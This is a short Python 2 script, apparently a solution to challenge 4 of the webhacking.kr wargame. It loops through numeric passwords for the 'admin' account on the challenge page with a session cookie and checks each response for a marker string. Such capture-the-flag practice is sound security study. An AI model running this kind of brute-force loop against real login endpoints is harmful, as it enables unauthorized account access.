webhacking.kr_4

import urllib2
session = "be6a483e8afad6f18347573a38ae1d73"
for x in range(2999, 2000, -1):
    url = "http://webhacking.kr/challenge/web/web-04/index.php?cid=admin&cpw=" + str(x)
    req = urllib2.Request(url)
    req.add_header("Cookie", "PHPSESSID="+session)
    print urllib2.urlopen(req).read().find("2xxx")